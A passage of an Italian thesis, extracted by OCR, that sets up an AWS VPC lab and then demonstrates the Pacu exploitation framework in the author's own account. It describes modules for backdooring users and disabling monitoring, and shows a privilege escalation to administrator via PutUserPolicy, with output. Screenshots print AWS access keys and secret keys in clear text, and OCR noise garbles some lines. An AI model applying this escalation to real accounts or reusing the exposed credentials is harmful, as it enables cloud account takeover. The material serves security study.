camente una porzione di cloud cosi da averne il pieno controllo.

E possibile utilizzare uno spazio di indirizzamento IP, creare delle sottoreti, configurare
le tabelle di routing, connetterci ad internet ed altro. I motivi per cui questo servizio
¢ di fondamentale importanza sono molteplici. Ad esempio, si potrebbe avere un ap-
plicazione ”three-tier” la cui parte web & esposta su internet: in questo caso all’interno
dello stesso VPC, potrebbero esserci due sottoreti, una pubblica esposta su internet
dedicata al front-end dell’applicazione, I'altra privata per il database; nonché ulteriori
funzionalita di sicurezza come i Security Group e le Network Access Control List.
Alcune delle soluzioni progettuali che si possono attuare utilizzando i VPC sono:

e Creare piu sottoreti, sia pubbliche che private, e gestire la comunicazione tra
queste.

e Avere un’infrastruttura ibrida, dove alcune applicazioni risiedono in un datacenter
privato, altre all’interno del cloud e far comunicare il tutto tramite un VPC. In
tal caso bisognerebbe aggiungere il concetto di VPN.

e Avere piu VPC che si interconnettono tramite VPC ”peering”.

48



Creazione VPC

Per questo test si & scelto di creare due sottoreti una pubblica e una privata.

1. Selezionare la voce Create VPC. Assegnare alla VPC

associarli , nel caso in questione si e scelto 10.1.1.0/24

vpc-043b04f70cdb42d91

Details info

VPCID State
Vpc-043b04170cdb42d91 @ Available
Tenancy DHCP options set
Default dopt-d9c6ddbf
Default VPC IPv4 CIDR

No 10.1.1.0/24
Route 53 Resolver DNS Firewall rule groups Owner ID

- 925331193081

DNS hostnames
Disabled

Main route table
rth-Oeb91ad4fbad3baaf

1Pv6 pool

il range di indirizzi da

DNS resolution
Enabled

Main network ACL

acl-01e14769d9e358c76

IPv6 CIDR

Figura 5.3: Creazione VPC

2. Andare in Subnet sempre dalla dashboard VPC e creare le due sottoreti.

Create subnet uw

VPC

VPCID

Create subnets in this VPC.

vpc-043b04f70cdb42d91

Associated VPC CIDRs

IPv4 CIDRs
10.1.1.0/24

Subnet settings

Specify the CIDR blocks and Availability Zone for the subnet.

Subnet 1 of 2

Subnet name
Create a tag with a key of "Name' and a value that you specify.

10.1.1.0/25 - Pubblica

The name can be up to 256 characters long

Availability Zone Info
Choose the zone in which your subnet will reside, or let Amazon choose one for you

Europa (Irlanda) / eu-west-1a

IPv4 CIDR block Info
Q 10.1.1.0/25

» Tags - optional

Remove

Subnet 2 of 2

Subnet name
Create a tag with a key of "Name' and a value that you specify.

10.1.1.128/25

Figura 5.4: Creazione Subnet

Sono state instanziate due subnet; la prima, quella pubblica, che ha gli indirizzi
da 10.1.1.0 fino a 10.1.1.127; mentre quella privata ha gli indirizzi da 10.1.1.128
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fino a 10.1.1.255. Gli indirizzi assegnabili per ciascuna sottorete sono 123, poiché
oltre all’indirizzo di rete ed a quello di broadcast Amazon si riserva anche i primi
tre indirizzi. Per avere una maggiore comprensione fare riferimento alla tabella

sottostante
/ 10.1.1.0/25 10.1.1.128/25
Permission: Pubblica Privata
Indirizzo Rete: 10.1.1.0 10.1.1.128
Indirizzo Broadcast: 10.1.1.127 10.1.1.255
Host assegnabili: 10.1.1.4 - 126 10.1.1.132 - 254

Tabella 5.1: Sottoreti

3. A questo punto bisogna associare un Internet Gateway ! alla nostra VPC.

igw-09198baf30c72e190 / IG_Tesi
Details nfo
Manage tags
Internet gateway 1D State VPCID Owner Delete
P igw-09198baf30c72e190 @ Detached - 9 925331193091
Q 1 @

Key Value

Name 1G_Tesi

Figura 5.5: Internet Gateway

Selezionare ora la VPC creata in precedenza cosi da poterle associare 'Internat
Gateway creato.

Details info

Internet gateway ID State VPCID Owner
@ igw-09198baf30c72e190 @ Attached vpc-043b04f70cdb42d91 [ 925331193091

Figura 5.6: Internat Gateway risultato

In questo momento ¢ stato attaccato l'internet gateway al VPC ma risulta to-
talmente passivo perché nella Route Table del VPC non e indicato come gestire
il traffico in ingresso ma l'unica regola presente & quella per la comunicazione
interna del VPC. Sara necessario percid aggiungere alla Route Table 2 una nuo-
va rotta che indica che tutto il traffico esterno deve passare tramite l'internet
gateway definito.

'Elemento che permette ad un VPC di comunicare in Internet. Offre la possibilita di connettersi in
internet direttamente dalle sottoreti specificate nella tabella di routing. Effettua in modo trasparente
la NAT del nostro ip permettendo la visibilita con un ip pubblico. Nel caso una VPC non avesse alcun
Internet Gateway associato non sarebbe raggiungibile dall’esterno. Internet Gateway supporta sia IPv4
che IPv6.

2Le tabelle di routing permettono di specificare il percorso che il traffico di rete dovra intraprendere
tramite rotte definite che identificano il traffico diretto. La tabella di routing si associa sempre ad una
sottorete.
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Edit routes
Destination Target Status
10.1.1.0/24 Q local x| @ Active
Q 0.000/0 b% Q, igw-09198baf30c72e19¢| X | -

Propagated

No

Figura 5.7: Internat Gateway risultato

Per mezzo di questa route table verra identificato se il traffico rispetta la prima
regola quindi ¢ locale e in tal caso verra reindirizzato localmente altrimenti tutto
il restante traffico in entrata passera per I'Internet Gateway.

4. Adesso verranno istanziate due istanze una con AMI LAMP per la rete Pubblica
e un istanza con AMI Amazon Linux 2 AMI (HVM).

Rete (j vpc-043b04f70cdba2d91 | Tesi 4| C Creanuovo VPC
Sottorete [ subnet-02a61a888057500b0 | 10.1.1.0/25 - Privata | < Crea una nuova
sottorete

123 indirizzi IP disponibili

Assegna automaticamente IP pubblico Utilizza le impostazioni della sottorete (Disabilita) ¢
i

Figura 5.8: Configurazione di rete per 'istanza privata

Alla creazione dell’istanza sara possibile generare un paio di chiavi RSA per
permettere la connessione alla macchina via SSH nel nostro caso ne creeremo
nuove.
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X
Seleziona una coppia di chiavi esistente oppure crea una nuova

coppia di chiavi

Una coppia di chiavi & costituita da una chiave pubblica che AWS archivia, e da un file di una chiave
privata che tu archivi. Insieme ti consentono di connetterti all'istanza in modo sicuro. Per le AMI di
Windows, il file della chiave privata & necessario per ottenere la password di accesso alla tua istanza.
Per le AMI di Linux, il file della chiave privata consente un SSH in sicurezza alla tua istanza. Amazon
EC2 supporta i tipi di coppie di chiavi ED25519 & RSA.

Mota: la coppia di chiavi selezionata sara aggiunta al set di chiavi autorizzate per questa istanza. Ulteriori
informazioni in Eliminare coppie di chiavi esistenti da un"AMI pubblica

|Crea una nuova coppia di chiavi
Tipo di coppia di chiavi
®RSA O ED25519

Nome della coppia di chiavi
|TesiChiave

v]

‘_ Scarica la coppia di chiavi s

‘ Q E necessario scaricare il file di chiave privata (file * pem) prima di continuare.

Archivialo in un percorso sicuro e accessibile. Non sara possibile scaricare
nuovamente il file dopo averlo creato.

UGG Avvia le istanze

Figura 5.9: Generazione Chiave PEM

Fase 3: Configura i dettagli dell'istanza

hd

Rete (i) (ypc043b04f70cdba2d91 | Tesi 4| C Creanuove VPC
Sottorete | | ) | subnet-0e92456298808d636 | 10.1.1.0/25 - Pubblica~¢ | Crea una nuova
sottorete
123 indirizzi IP disponibili
Assegna automaticamente IP pubblico | Attiva

Figura 5.10: Configurazione di rete per l'istanza pubblica

il gruppo di sicurezza dell’istanza pubblica avra aperte 3 porte : SSH , HT'TP

e HTTPS queste ultime due perche si prevede che la macchina hosti un servizio
web.

Assegna un gruppo di sicurezza: ® Crea un nuovo gruppo di sicurezza

O Seleziona un gruppo di sicurezza esistente

Nome del gruppo di sicurezza:  [LAMP packaged by Bitnami-7-4-23-6-103 on Debian 10-AutogenByAWSIP-

Descrizione: [This security group was generated by AWS Marketplace and is based on recomn|
Tipo (i Protocollo (i Intervallo porte (i Origine (i Descrizione (i
SSH ~ TCP 2 (Personalizv]  [0.0.0.000 ] [ad esempio SSH for Admin Deskiop
HTTP 2 TCP 8 (Personalizv]  [0.0.0.000 ] [ad esempio SSH for Admin Deskiop
TCP 43 (Personalizv]  [0.0.0.000 ] [ad esempio SSH for Admin Deskiop
Aggiungi regola

Figura 5.11: Security group istanza pubblica
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Accesso SSH e verifica connessione

5.3 Accesso SSH e verifica connessione

Sono state istanziate le due macchine. Ora, prima di andare avanti, occorre verificarne
effettivamente le funzionalita. Dalla dashboard saranno visibili gli indirizzi associati
alle due istanze.

Istanza: i-0b5e0d17f7767f459 (PrivateMachine)

Dettagli Sicurezza Reti Storage Verifiche di stato Monitoraggio in corso Tag

¥ Riepilogo dell'istanza Informazieni
ID istanza Indirizzo IPv4 pubblico

i-0b5e0d17f7767f459 (PrivateMachine) -

Indirizzo IPv6 Stato dell'istanza

_ In esecuzione

Istanza: i-0c9e1bf315f6c91f0 (PublicMachine)

Dettagli Sicurezza Reti Storage Verifiche di stato Monitoraggio in corso Tag

¥ Riepilogo dell'istanza  Informazioni

ID istanza Indirizzo IPv4 pubblico
i-0c9e 1bf315f6c91f0 (PublicMachine) 34.255.3.138 | indirizzo aperto [4
Indirizzo IPv6 Stato dell'istanza

- In esecuzione

Figura 5.12: Istanze visibili nella dashboard

In questo momento tramite la chiave TesiChiave.pem sara possibile accedere all’i-
stanza pubblica ma non a quella privata, nel caso si usi Putty ® occorrera convertire il
file .pem in .ppk; per questa operazione sara possibile usare puttygen.

Nel caso di volesse procedere da linea di comando i comandi da eseguire sono:

chmod +x key.pem 0123456789
ssh -i "key-pem" bitnami@IP_MACHINE

Codice 5.1: Accesso SSH

oppure

chmod +x key.pem
ssh -1 "key-pem" bitnami@DNSIPv4Public

Codice 5.2: Accesso SSH con DNS

Il nome dell’utente con il quale effettuare I’accesso per quest’immagine € bitnami, altre
AMI come ad esempio quella usata nella macchina privata hanno come utenti admin
ed ec2-user.

Dopo aver effettuato ’accesso si potranno creare contenuti per la pagina dentro la
directory Bitnami che potranno essere visualizzati direttamente dal browser.

3Client SSH nel nostro caso usato per collegarsi all’istanza EC2.
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<« &} ‘0 A Nonsicuro | 34.255.3.138/example.htm

2 App ﬁ Detective Conan di... E Lista Episodi One Pi &g ARCTIC Freez:

Pagina d'esempio

Questa ' semplicemente una pagina d' esempio

Figura 5.13: Pagina d’esempio

In questo momento , nonostante le due macchiane siano nella stessa VPC , non sara
possibile dalla macchina pubblica poter verificare tramite il comando ping se la mac-
china privata e attiva. Questo avviene perché il security group, della macchina privata
ha abilitato il traffico in ingresso soltato dalla porta 22, percio bastera aggiungere una
regola che puo essere semplicemente ICMP per il security group associato alla macchina

LAMP.

Regole in uscita Tag

2 10-1-1-76: ~ - o X
@® You can now check network

Run Reachability Analyzer X

Inbound rules (2)

Name Security group rule... 1P version Type Protocol Port range

- sgr-01203ed3a97914a - Tutte le regole ICMP - | ICMP Tutti

- 5gr-ObeebbIbaabas0d 1Pv4 SSH TcP 22

Figura 5.14: Connessione tra le due macchine

Source Description
sg-Oe2a744badaSascc. . -

0.00.0/0 -

Grazie a questa sezione ¢ stato possibile verificare il corretto funzionamento della

VPC e riuscire a visualizzare da esterni una pagina web.
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6. Pacu - AWS Exploitation
Framework

Con la continua proliferazione di AWS, le aziende continuano a trasferire le proprie
risorse tecniche nel cloud. Questo cambio porta con sé, oltre che vantaggi, anche nuove
sfide alla sicurezza. Non si tratta di problematiche che insorgono solo per inesperti; di-
fatti anche grandi aziende come GoDaddy e Uber hanno subito gravi violazioni dovute
a malconfigurazioni del proprio cloud AWS.

Esistono molti strumenti per la scansione delle vulnerabilita di AWS, ma questi si con-
centrano sui requisiti di conformita, piuttosto che nello sfruttare il potenziale della
debolezza.

E necessario quindi adottare un approccio strutturato per il pentesting su AWS [21].
In questo capitolo verra esplorato 1’exploitation framework PACU (prende il nome da
un tipo di Piranha in Amazzonia, rappresentato nel logo).

“«

Figura 6.1: Logo Pacu [21]

Pacu e supportato sia da MacOs che da Linux e richiede solo versioni di Python3.5
o superiori, e pip3 per U'installazione di librerie di interesse.
Nel caso non fosse presente una versione python 3.5 o superiore aggiornarla o installarla.
In seguito, se non presente, installare pip

sudo apt install python3-pip
sudo pip3 install -U pip

Codice 6.1: Installazione pip se necessaria
sudo pip3 install -U pacu
Codice 6.2: Installazione pacu
pacu

Codice 6.3: Avvio pacu

Pacu & un exploitation framework per AWS open-source, sviluppato per testare of-
fensivamente la sicurezza dell’ambiente cloud. Creato e mantenuto da Rhino Security



Labs, Pacu consente di sfruttare malconfigurazioni all’interno dell’account AWS, uti-
lizzando moduli per espandere facilmente le proprie funzionalita (ad esempio, user pri-
vilege escalation, backdooring utenti IAM, funzioni Lambda vulnerabili, ed altro [22]).
Pacu puo essere visto come 'equivalente di Metasploit per Amazon, ovvero rappresenta
I'insieme di tutta l’esperienza e la ricerca fatta sul clouding AWS.

Attualmente ci sono fino a 35 moduli, che comprendono reconnaissance (fase durante la
quale I'attaccante raccoglie informazioni sulle potenziali vittime), persistence, privilege
escalation, enumeration, data exfiltration, manipolazione dei log e tecniche generali.
Pacu potrebbe essere utilizzato per compromettere delle credenziali, ma il suo vero po-
tenziale € nella fase successiva. Immaginando di aver ottenuto delle credenziali AWS,
ad esempio mediante phishing, sara quello il momento in cui potremmo vedere la reale
forza di questo framework.

Pacu e anche in grado di coprire le proprie tracce interrompendo il monitoraggio e la
registrazione, ad esempio di CloudTrail o di GuardDuty.

I moduli piu popolari inclusi sono:

e confirm_permissions: Enumera una lista di permessi conferiti sull’account corren-
te.

e privesc_scan: Sfrutta piu di 20 differenti metodi di privilege escalation per ottenere
pill permessi.

e cloudtrail_csv_injection: Inietta formule malevoli dentro CloudTrail per mezzo di
file CSV.

e disrupt_monitoring : Attacca GuardDuty, CloudTrail, Config, CloudWatch, e
VPC per disturbare i vari monitoraggi e le capacita di logging.

e backdoor_users_[keys/passwords| : Stabilisce una backdoor aggiungendo le cre-
denziali di un altro IAM account.

e sysman_ec2_rce : Sfrutta AWS Simple Systems Manager per provare ad ottenere
I’accesso root su Linux o System su Windows per eseguire comandi sulle varie
istanze EC2.

e backdoor_ec2_sec_groups : Aggiunge regole di backdoor nei security group per
poter accedere a servizi privati.
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6.1

Pacu - Manuale comandi

Allavvio di PACU verra richiesto il nome della sessione.

Found existing sessions:
[B] N session
[1] Test
[2] Test2
[3] PacuTest
Choose an option: @
What would you like to name this new session?

Figura 6.2: Avvio di Pacu

Questa sessione verra utilizzata per archiviare le coppie di chiavi AWS, nonché tutti
i dati ottenuti dall’esecuzione dei vari moduli. E possibile avere un numero qualsiasi di
sessioni diverse in Pacu, ognuna con i propri set di chiavi e dati AWS. Per accedere ¢
richiesto un accesso, anche minimo, all’ambiente AWS mediante un ID chiave di accesso
e una secret key di accesso.
Dopo aver avviato la sessione sara possibile utilizzare i seguenti comandi:

list / 1s: Lista di tutti i moduli.

load _commands_file < file >: Carica un file esistente con una lista di comandi
da eseguire.

search [cat[egory]] < searchterm >: Cerca nell’elenco dei moduli disponibili
per nome o categoria.

help: Visualizza la lista dei comandi.
help < modulename >: Visualizza informazioni di un modulo.
whoami: Visualizza informazioni relative alle chiavi attive.

data: Visualizza tutti i dati che sono stati registrati nella sessione. Solo i campi
con un valore saranno mostrati.
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data < service >: Visualizza tutti i dati per uno specifico servizio in questa
sessione.

services: Visualizza un elenco di servizi che hanno raccolto dati nella sessione
corrente da utilizzare con il comando ”data”.

regions: Visualizza una lista di tutte le regioni AWS valide.

set_regions < region > [< region >..]: Imposta le regioni predefinite per questa
sessione. Queste regioni separate dallo spazio verranno utilizzare per i moduli in
cui le regioni sono richieste, ma non fornite dall’utente. Scegliendo il parametro
7all” ) verra ripristinato il valore predefinito di tutte le regioni supportate.

run/exec module_name: Comando per eseguire un modulo.
set_keys: Aggiunge un insieme di chiavi alla sessione e le imposta come default.
swap_keys: Cambia le correnti; chiavi di AWS impostate come default.

import_keys < profilename > | — —all: Importa le chiavi AWS dal file cre-
denziali (che si trova ~/.aws/credentials) nel database della sessione corrente.
Inserire il nome del profilo che si vuole importare o aggiungere —all per importare
tutte le credenziali presenti nel file.

assume_role < rolearn >: Chiama la funzione AssumeRole su uno specifico ruo-
lo dalle credenziali correnti, le credenziali temporanee risultanti vengono aggiunte
al database delle chiavi di pacu.

export_keys: Esporta le credenziali attive presenti nel file ~/.aws/credentials
sessions/list_sessions: Elenca tutte le sessioni attive nel database di Pacu.
swap_session: Cambiare la sessione attiva di pacu con un’altra registrata.

delete_session: Eliminare una sessione di Pacu. La cartella con i risultati della
sessione non verra eliminata.

exit/quit: Uscire da PACU.

aws < command >: Esegui direttamente un comando AWS CLI. Nota: se Pa-
cu rileva ”aws” come prima parola del comando, I'intero comando verra invece
eseguito in una shell in modo da poter utilizzare ’AWS CLI da Pacu.

console/open_console: Genera un URL, che registrera I'utente o ruolo corrente
nella console Web AWS.
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6.2 Pacu - Esecuzione pratica

Dopo aver scelto il nome della sessione, € necessario registrare le chiavi del proprio
account AWS.

Per visualizzare gli utenti IAM bastera accedere alla console AWS ed andare nella se-
zione utenti.

Utenti Informazioni o Aggiungi utenti
1 @
Nome utente Gruppi Ultima attivita MFA Validita password Attiva eta della chiave
pluto GruppoFullAccessS3AndGlaci O 76 giomi fa Nessuno 94 giorni fa 94 giorni fa
ProvaFullAccessS3 GruppoFullAccessS3AndGlaci  Never Nessuno @ 14 giomi fa @ 14 giomi fa
topolino GruppoFullAccessS3AndGlaci O 76 giomi fa Nessuno 94 giorni fa 94 giorni fa

Figura 6.3: IAM User

Nel nostro caso verra scelto il profilo creato in precedenza, al paragrafo 4.1.1 cioe
ProvaFullAccessS3.

Pacu (SessionTesting:No Keys
Setting AWS Keys...

Press enter to keep the value currently stored.

Enter the letter C to clear the wvalue, rather than set it.

If you enter an existing key alias, that key's fields will be updated instead of added.

Key alias [None]: AccountTesiS3Access

ccess key ID [None]: AKIA504QJPUBUG6LIBMNZ
ecret access key [None]: Gp2Uz9KHvOL1QFVx3SdF6gjjIrRk/Vfm6Y@47HgmX
ession token (Optional - for temp AWS keys only) [Mone]:

database.

(SessionTesting:AccountTesiS3Access) =

Figura 6.4: Set_keys PACU

Dopo aver effettuato 'accesso con i dati dell’account IAM, sara possibile iniziare ad
eseguire i test sulla piattaforma cloud. L’'utente con il quale e stata effettuata ’auten-
ticazione ha permessi solo su S3 e Glacier.

1. Eseguire il comando whoami per vedere l'utente con il quale & stato effettuato
I’accesso.

1 whoami

Codice 6.4: whoami
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Pacu (SessionTesting:AccountTesiS3Access) = whoami
{
"UserName"
"RoleName"
"Arn": null,
"AccountId": null,
"UserId": null,
"Roles": null,
"Groups": null,
"Policies": null,
"AccessKeyId": "AKIAS04QJPUBUGLIBMNZ",

null,
null,

»
*
-
#

"SecretAccessKey": "Gp2Uz9KHvILQFVX3SAFo******kdkkkdkdkkhkdrst

"SessionToken": null,
"KeyAlias": "AccountTesiS3Access”,
"PermissionsConfirmed”: null,
"Permissions”: {

"Allow": {3},

"Deny": {}

(Sessi

Figura 6.5: Whoami

2. Mediante il comando set_regions eu-west-1 sara possibile enumerare e ricercare
informazioni su questa regione.

1 set_regions eu-west-1

Codice 6.5: Set regions

3. Grazie al comando ls sara possibile avere una lista completa dei moduli che pos-
siamo usare. Si suddividono in diverse tipologie, ad esempio privilege escalation,
enumeration o exploit.

1 1s

Codice 6.6: 1s command

4. Con gli attuali permessi non sara possibile eseguire alcuna operazione di exploit
verso l'infrastruttura. Nonostante cio, proveremo lo stesso con il comando run
iam__enum_permissions che permettera di enumerare i permessi del serivizio IAM
(questo comando ha delle effettive funzionalita nel caso in cui 'utente abbia set-
tato come azione iam:ListAttachedUserPoliticies o iam:GetUserPolicy). Nel caso
in cui ’account non abbia quei due permessi, sarebbe necessario eseguire un at-
tacco bruteforce per scoprire le sue autorizzazioni, questo pero risulterebbe essere
molto pesante sia in termini di tempi che di costi computazionali. E possibile
effettuare il bruteforce su tutti i servizi disponibili (ec2,s3,logs) oppure sceglierne
alcuni, scrivendoli opportunamente nel comando

1 run iam__bruteforce_permissions —--services [servizio]

Codice 6.7: Bruteforce permessi

60



Pacu - Esecuzione pratica

Il risultato ottenuto e:

[iam_ bruteforce permissions] iam_ bruteforce permissions completed.

[iam__ bruteforce permissions] MODULE SUMMARY :

Services:
Supported: ['ec2', 's3', 'logs'].
Unsupported: [].
Unknown: 44.

44 allow permissions found.

44 unknown permissions found.

162 deny permissions found.

Figura 6.6: Risultato di bruteforcing rispetto ai permessi

Durante I’esecuzione del comando si potranno vedere tutte le autorizzazioni che
vengono controllate e che sono permesse oppure no all’utente.

[iam__bruteforce_permissions] Trying get_transit_gateway_route_table_prop

agations -- kwargs: {'TransitGatewayRouteTableId': 'dummydata', 'DryRun':
True, 'MaxResults': 16}

An error occurred (UnauthorizedOperation) when calling the GetTransitGate

wayRouteTablePropagations operation: You are not authorized to perform th

is operation.

Getting info for func: get bucket accelerate confiquration, param: Bucket
[iam__ bruteforce permissions] Trying get bucket accelerate_ configuration

-- kwargs: {'Bucket': 'bucketesempiotesitest'}
[iam__bruteforce_permissions] Authorization exists for: get bucket ac

celerate_configuration

Getting infe for func: get bucket acl, param: Bucket

[iam__ bruteforce permissions] Trying get bucket acl -- kwargs: {'Bucket':
'bucketesempiotesitest'}

[iam__bruteforce_permissions] Authorization exists for: get bucket ac

1

Getting info for func: get bucket analytics configuration, param: Bucket
[iam__ bruteforce permissions] Trying get bucket analytics_configuration -
- kwargs: {'Bucket': 'bucketesempiotesitest', 'Id': 'dummydata'}
[iam__bruteforce_permissions] Authorization exists for: get bucket an

alytics_configuration

Getting info for func: get bucket cors, param: Bucket

Figura 6.7: Esempio di autorizzazione positivo e negativo

5. Anche usando il modulo s8__download_bucket non si avranno risultati effettivi, a
causa dei permessi insufficienti, nonostante si abbia FullAccessS3.

1 run s3_ download_bucket

Codice 6.8: S3 -Download Bucket
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Pacu (SessionTesting:AccountTesiS3Access) = run s3  download bucket
Running module s3_ download bucket...
[s3_ download bucket] Enumerating buckets...
[s3__download bucket] Found bucket "bucketesempiotesitest"”
[s3__download bucket] Found bucket "elasticbeanstalk-eu-west-1-925331193091"
[s3__download bucket] Found bucket "pippgqqqqqqqqqqqqq"”
[s3_ download bucket] Starting enumerating objects in buckets...
[s3_ download bucket] Finished enumerating objects in buckets...

[2021-10-06 21:22:081] Pacu encountered an error while running the previous comm
and. Check fhome/kalid/.local/share/pacu/SessionTesting/error_log.txt for techn
ical details. [LOG LEVEL: MINIMAL]

=class 'botocore.exceptions.ClientError'=: An error occurred (AccessDenied)
when calling the GetMetricStatistics operation: User: arn:aws:iam::92533119309
1:user fProvaFullAccessS3 is not authorized to perform: cloudwatch:GetMetricStat
istics

Figura 6.8: Esempio PACU modulo

6. Anche provando l’altro modulo, per eseguire privilege escalation sull’infrastrut-
tura si avranno scarsi risultati.

1 run iam__privesc_scan
Codice 6.9: Run IAM privilage Escalation
Pacu (SessionTesting:AccountTesiS3Access) > run iam__privesc_scan
Running module iam__privesc_scan...

[2021-10-06 20:50:39] Pacu encountered an error while running the previous comm

and. Check fhome/kalid/.local/share/pacu/SessionTesting/error_log.txt for techn
ical details. [LOG LEVEL: MINIMAL]

<class 'AttributeError's: 'list' object has no attribute 'keys

Figura 6.9: Privilage Escalation fallito
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Per avere un effettivo test ¢ stato realizzato un nuovo utente IAM al quale ¢ stata
associata la seguente policy:

"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"iam:GetUserPolicy",
"iam:GetPolicy",
"iam:PutPolicy",
"iam:PutUserPolicy",
"iam:Listx"
]l

"Resource": "x"

Codice 6.10: Policy settata

L’immagine sottostante rappresenta 1'utente che viene creato per questo test.

Dettagli utente

Nome utente TesiAccountPermessi
Tipo di accesso AWS Accesso programmatico e accesso a console di gestione AWS

Tipo di password per la Autogenerata
console

Richiesta reimpostazione Si
della password

Limite di autorizzazioni Il limite di autorizzazioni non & impostato

Riepilogo delle autorizzazioni

Le seguenti policy saranno collegate all'utente indicato sopra.

Tipo Nome

Policy gestita PacuTest

Policy gestita |AMUserChangePassword
Tag

Annulla Precedente

Figura 6.10: Creazione nuovo utente

I passi per eseguire questo nuovo test sono:

1. Si effettua il login a pacu con le nuove chiavi dell’utente

1 set_keys

Codice 6.11: Set key del nuovo account
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Pacu (PacuTestPermission:None) > set_keys

Setting AWS Keys...

Press enter to keep the value currently stored.

Enter the letter C to clear the value, rather than set it.

If you enter an existing key_alias, that key's fields will be updated instead of added.

Key alias [Mone]: TesiPacuTesterAccount

Access key ID [None]: AKIAS504QJPUBZT57WB42

Secret access key [No**]: zqINceHUDxAPIvunDIDRT463G1W55zrOgv67k63T
Session token (Optional - for temp AWS keys only) [None]:

Keys saved to database.

Figura 6.11: Nuovo utente login

2. Viene settata la regione con il comando

1 set_regions eu-west-1

Codice 6.12: Set key del nuovo account

Pacu (PacuTestPermission:TesiPacuTesterAccount) > set_regions eu-west-1
Session regions changed: ['eu-west-1']

Figura 6.12: Nuovo utente login

3. Nel caso venisse usato il comando whoami si avrebbe una lista incompleta come
quella in figura 6.5 percio deve essere effettuata I’enumerazione delle policy IAM
mediante il comando run iam__enum_permissions

1 run iam__enum_permissions

Codice 6.13: Run IAM Permissions

Pacu (PacuTestPermission:TesiPacuTesterAccount) = run iam__enum_permissions
Running module iam__enum_permissions...

[iam__enum_permissions] Confirming permissions for users:

[iam__enum_permissions] TesiAccountPermessi...

Get policy version failed: An error occurred (AccessDenied) when calling the GetPolicyVersion operation:
User: arn:aws:iam::925331193091:user/TesiAccountPermessi is not authorized to perform: iam:GetPolicyVer

sion on resource: policy arn:aws:iam::925331193091:policy/PacuTest version v3

Get policy version failed: An error occurred (AccessDenied) when calling the GetPolicyVersion operation:
User: arn:aws:iam::925331193091:user/TesiAccountPermessi is not authorized to perform: iam:GetPolicyVer

sion on resource: policy arn:aws:iam::aws:policy/IAMUsercChangePassword version v2
[iam__enum_permissions] Confirmed Permissions for TesiAccountPermessi
[iam__enum_permissions] iam__enum_permissions completed.

[iam__enum_permissi ] MODULE SUMMARY :

Confirmed permissions for @ user(s).
Confirmed permissions for @ role(s).

Figura 6.13: TAM permissions user

1 whoami

Codice 6.14: whoami
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Pacu (PacuTestPermission:TesiPacuTesterAccount) > whoami

"UserName": "TesiAccountPermessi”,

"RoleName": null,

"Arn": "arn:aws:iam::925331193091:user /TesiAccountPermessi”,
"AccountId": "925331193091",

"UserId": "AIDA504QJPUBSECIFLP4H",

"Policies”

"PolicyName "PacuTest",

"PolicyArn": " H :iam::925331193091:policy/PacuTest”
}J
{

"PolicyName": "IAMUserChangePassword",
"PolicyArn": "arn:aws:iam::aws:policy/IAMUserChangePassword"

1
]J

"AccessKeyId": "AKIAS504QJPUBZT57WB42",

"SecretAccessKey": "zqINceHUDXAPIvUNDIDR*#*#*#*#*#***kkkkkkkkhhdhs !
"SessionToken": null,

"KeyAlias": "TesiPacuTesterAccount”,

"PermissionsConfirmed”:

"Permissions": {

Figura 6.14: Whoami

4. A questo punto potremmo provare ad enumerare le istanze ec2, ma cid avrebbe
pessimi risultati.

1 run ec2__enum

Codice 6.15: Enumerazione macchine EC2

Pacu (PacuTestPermission:TesiPacuTesterAccount) = run ec2__enum
Running module ec2__enum...

[ec2__enum] Starting region eu-west-1...

[ec2__enum] FAILURE:

[ec2__enum] Access denied to Describelnstances.

[ec2__enum] skipping instance enumeration...

[ec2__enum] ® instance(s) found.

[ec2__enum] FAILURE:

[ec2__enum] Access denied to DescribeSecurityGroups.

[ec2__enum] skipping security group enumeration...

[ec2__enum] 0 security groups(s) found.

[ec2__enum] FAILURE:

[ec2__enum] Access denied to DescribeAddresses.

[ec2__enum] skipping elastic IP enumeration...

[ec2__enum] 0 elastic IP address(es) found.

[ec2__enum] FAILURE:

[ec2__enum] Access denied to DescribeCustomerGateways.

[ec2__enum] skipping VPN customer gateway enumeration...

[ec2__enum] ® VPN customer gateway(s) found.

[ec2__enum] FAILURE:

ec2 enum Access denied to DescribeHosts.

Figura 6.15: Enumerazione Fallita

Percio andremo ad usare il modulo iam__privesc_scan che ci fara ottenere questo
risultato:

1 run iam__privesc_scan

Codice 6.16: Privilage Escalation
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[iam__enum_permissions] MODULE SUMMARY :

Confirmed permissions for @ user(s).
Confirmed permissions for @ role(s).

__privesc_scan] Escalation methods for current user:
__privesc_scan] POTENTIAL: CreateNewPolicyVersion
__privesc_scan] POTENTIAL: SetExistingDefaultPolicyvVersion
__privesc_scan] POTENTIAL: CreateEC2WithExistingIP
__privesc_scan] POTENTIAL: CreateAccessKey
__privesc_scan] POTENTIAL: CreatelLoginProfile
__privesc_scan] POTENTIAL: UpdateLoginProfile
__privesc_scan] POTENTIAL: AttachUserPolicy
i POTENTIAL: AttachGroupPolicy
POTENTIAL: AttachRolePolicy
POTENTIAL: PutUserPolicy
POTENTIAL: PutGroupPolicy
POTENTIAL: PutRolePolicy
POTENTIAL: AddUserToGroup
POTENTIAL: UpdateRolePolicyToAssumelt
POTENTIAL: PassExistingRoleToNewlLambdaThenInvoke
POTENTIAL: PassExistingRoleToNewLambdaThenInvokeCrossAccount
POTENTIAL: PassExistingRoleToNewLambdaThenTriggerWithNewDynamo
POTENTIAL: PassExistingRoleToNewLambdaThenTriggerWithExistingDynamo
POTENTIAL: PassExistingRoleToNewGlueDevEndpoint
POTENTIAL: UpdateExistingGlueDevEndpoint
__privesc_scan] POTENTIAL: PassExistingRoleToNewCloudFormation
__privesc_scan] POTENTIAL: PassExistingRoleToNewDataPipeline
__privesc_scan] POTENTIAL: EditExistinglLambdaFunctionWithRole
__privesc_scan] POTENTIAL: PassExistingRoleToNewCodeStarProject
__privesc_scan] POTENTIAL: CodeStarCreateProjectFromTemplate
__privesc_scan] POTENTIAL: CodeStarCreateProjectThenAssociateTeamMember
c_scan] Mo confirmed privilege escalation methods were found.
__privesc_scan] Attempting potential privilege escalation methods...

Figura 6.16: Potenziali servizi da compromettere

A questo punto bisogna andare avanti fino ad arrivare al metodo potenziale
"PutUserPolicy”. Questo metodo aggiungera una policy per avere i permessi
di amministratore, e quindi poter sfruttare a pieno l'infrastruttura.

__privesc_scan] Method failed. Trying next potential method...
__privesc_scan] Starting method PutUserPolicy...

[iam__privesc_scan] Trying to add an administrator policy to the current user...

[iam__privesc_scan] Successfully added an inline policy named idoimnlcll! You should now have administ
ator permissions.

